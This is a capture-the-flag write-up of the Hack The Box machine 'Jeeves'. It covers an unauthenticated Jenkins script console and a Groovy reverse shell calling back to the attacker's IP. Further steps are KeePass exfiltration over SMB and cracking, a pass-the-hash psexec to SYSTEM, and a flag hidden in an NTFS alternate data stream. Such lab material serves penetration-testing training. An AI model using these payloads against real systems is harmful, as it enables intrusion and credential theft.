HTB: Jeeves

🧑‍🚀 published on Mon Jun 08 2026 · 5 min read

Windows Medium

HTB Jeeves has been Pwned by kanyo on 08 Jun 2026

Windows box with two web services and a theme. Port 80 presents a fake Ask Jeeves search engine that sends everything to a static error page - pure misdirection. Port 50000 runs Jetty, which is the real surface: a Jenkins instance that requires no authentication and exposes a Groovy script console you can run arbitrary code in. The privilege escalation is a KeePass database sitting in kohsuke’s Documents folder. Inside it, an NTLM hash stored as a password that works for pass-the-hash as Administrator. Then one more trick at the end: the root flag isn’t in hm.txt, it’s in an alternate data stream attached to it, invisible to a normal directory listing.

Recon

…/labs/jeeves ✗ sudo nmap -sV -sC -T4 $DC
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-08 09:21 +0100
Nmap scan report for 10.129.228.112
Host is up (0.073s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-06-08T13:21:27
|_  start_date: 2026-06-08T13:19:29
|_clock-skew: mean: 4h59m57s, deviation: 0s, median: 4h59m57s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Four ports: 80, 135, 445, 50000. SMB signing is off, which is worth noting. No domain - workgroup: WORKGROUP, so this isn’t an AD box. Guest and null SMB auth both failed:

…/labs/jeeves ❯ nxc smb $DC -u '' -p ''
SMB         10.129.228.112  445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.129.228.112  445    JEEVES           [-] Jeeves\: STATUS_ACCESS_DENIED 

…/labs/jeeves ✗ nxc smb $DC -u 'guest' -p ''
SMB         10.129.228.112  445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.129.228.112  445    JEEVES           [-] Jeeves\guest: STATUS_ACCOUNT_DISABLED

Port 80 was the fake Ask Jeeves search page:

The Ask Jeeves themed search page on port 80 with a search bar that redirects to a static error page

Every search just landed on a static error.html. Looking at the source confirmed it - the form action points to error.html unconditionally. The error page itself leaks something though:

Static error page leaking Microsoft SQL Server 2005 version from a type conversion exception

A SQL Server type conversion error with a full stack trace. The page is static - this isn’t live SQL output, it’s a hardcoded error page used as a decoy. The MSSQL version shown is from 2005 on Windows NT 5.0, which doesn’t match the actual OS. Port 80 is a dead end.

Jenkins on Jetty

Port 50000 returned a 404 on /. Jetty is a Java servlet container commonly used to host Jenkins, and 9.4.z-SNAPSHOT reads as a development build. Automated fuzzing with a general wordlist found nothing. A shorter targeted list for common Java application paths found it:

…/labs/jeeves ❯ for path in jenkins askjeeves jeeves manager admin console app portal service api rest ws struts spring; do
  echo -n "$path: "; curl -so /dev/null -w "%{http_code}\n" http://$DC:50000/$path/
done
jenkins: 404
askjeeves: 200
jeeves: 404
manager: 404
admin: 404
console: 404
...

/askjeeves returned 200. Opened it in a browser:

Jenkins dashboard at /askjeeves on port 50000, fully accessible without authentication

Full Jenkins dashboard, no authentication required. Every menu item accessible: New Item, People, Build History, Manage Jenkins, Credentials. This isn’t a login bypass - there is no login. The instance was set up with security disabled.

Jenkins has a Script Console under Manage Jenkins that executes arbitrary Groovy code server-side. Groovy runs on the JVM and has full access to Java’s standard library, including Runtime.exec() and socket classes. This is intentional functionality for administrators - and it’s directly accessible here without any credentials.

Jenkins Script Console under Manage Jenkins, accepting arbitrary Groovy code for server-side execution

Groovy RCE

The reverse shell payload uses Java’s ProcessBuilder and Socket to open a cmd.exe process and wire its I/O to a network connection:

String host = "10.10.16.129";
int port = 9999;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read());
    while (pe.available() > 0) so.write(pe.read());
    while (si.available() > 0) po.write(si.read());
    so.flush(); po.flush();
    Thread.sleep(50);
    try { p.exitValue(); break; } catch (Exception e) {}
}
…/labs/jeeves ❯ nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on 10.129.228.112 49677
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke

Shell as kohsuke. Jenkins was running from C:\Users\Administrator\.jenkins - not from an Administrator shell, just from that directory. whoami /all:

USER INFORMATION
----------------

User Name      SID                                        
============== ===========================================
jeeves\kohsuke S-1-5-21-2851396806-8246019-2289784878-1001


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication  Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

High Integrity Level and SeImpersonatePrivilege enabled. The obvious move was a potato exploit.

I tried PrintSpoofer, GodPotato, and JuicyPotato. All failed. The reason is the shell context: a bare netcat reverse shell from a Windows service runs under a non-interactive service token. Potato exploits impersonate a higher-privileged token by coercing a SYSTEM-level service to authenticate to a local pipe you control. That impersonation step requires the current token to be an interactive session token - NT AUTHORITY\SERVICE in a non-interactive socket shell doesn’t qualify. The spawned impersonated process has no interactive desktop session to attach to, so the exploit fails silently or errors out.

Kept enumerating.

KeePass: The CEH Database

kohsuke’s Documents folder had one file:

C:\Users\kohsuke\Documents\CEH.kdbx

KeePass is a local password manager. It stores credentials encrypted in a .kdbx file, protected by a master password. The whole database is one encrypted blob - without the master password you can’t read any entry. But the encrypted blob itself is a known format and can be attacked offline.

keepass2john extracts a crackable hash from the file:

…/labs/jeeves ✗ sudo smbserver.py share . -smb2support
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

C:\Users\kohsuke\Desktop>copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.16.129\share\CEH.kdbx
        1 file(s) copied.
…/labs/jeeves ❯ keepass2john CEH.kdbx > hash.txt

…/labs/jeeves ❯ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 20 OpenMP threads
moonshine1       (CEH)
1g 0:00:00:08 DONE (2026-06-08 10:19) 0.1140g/s 6275p/s 6275c/s 6275C/s nana09..marichuy
Session completed

Master password moonshine1. Opened it with kpcli and listed the contents:

kpcli:/> ls
=== Groups ===
CEH/
kpcli:/> cd CEH
kpcli:/CEH> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Windows/
=== Entries ===
0. Backup stuff                                                           
1. Bank of America                                   www.bankofamerica.com
2. DC Recovery PW                                                         
3. EC-Council                               www.eccouncil.org/programs/cer
4. It's a secret                                 localhost:8180/secret.jsp
5. Jenkins admin                                            localhost:8080
6. Keys to the kingdom                                                    
7. Walmart.com                                             www.walmart.com

Entry 0 (Backup stuff) and entry 2 (DC Recovery PW) were the obvious ones to check:

kpcli:/CEH> show -f 0

Title: Backup stuff
Uname: ?
 Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
  URL: 
Notes: 

kpcli:/CEH> show -f 2

Title: DC Recovery PW
Uname: administrator
 Pass: S1TjAtJHKsugh9oC4VZl
  URL: 
Notes: 

kpcli:/CEH> show -f 6

Title: Keys to the kingdom
Uname: bob
 Pass: lCEUnYPjNfIuPZSzOySA
  URL: 
Notes:

“Backup stuff” has a password that’s formatted as an NTLM hash: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00. The first half (aad3b435b51404eeaad3b435b51404ee) is the blank LM hash - Windows uses this as a placeholder when LM hashing is disabled. The second half is the NT hash. Someone stored an NTLM hash directly in a KeePass entry, probably as a backup credential.

NTLM doesn’t require you to know the plaintext password - you can authenticate directly with the hash. psexec.py with -hashes handles this:

Pass-the-Hash to SYSTEM

…/labs/jeeves ✗ psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator@10.129.228.112
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.129.228.112.....
[*] Found writable share ADMIN$
[*] Uploading file supQElfi.exe
[*] Opening SVCManager on 10.129.228.112.....
[*] Creating service guYk on 10.129.228.112.....
[*] Starting service guYk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

SYSTEM. But the root flag had one more trick in it:

C:\Users\Administrator\Desktop> dir

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes

C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.

NTFS Alternate Data Streams

NTFS allows files to have multiple named data streams attached to the same filename. A regular file has one default stream ($DATA) - that’s what type reads and what dir shows the size of. You can attach additional named streams to the same file and they’re completely invisible to a normal dir listing. The only way to see them is with dir /r, which shows alternate streams explicitly:

C:\Users\Administrator\Desktop> dir /r C:\Users\Administrator\Desktop\hm.txt
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA

hm.txt:root.txt:$DATA - there’s a second stream named root.txt attached to hm.txt. Reading it by name:

C:\Users\Administrator\Desktop> more < hm.txt:root.txt

Root flag. The NTFS ADS trick is a classic HTB finale - easy once you know it, completely invisible if you don’t think to look. Worth keeping dir /r in muscle memory for any Windows box where a flag file looks suspiciously small or returns a troll message.

Tagged: keepassjenkinswindows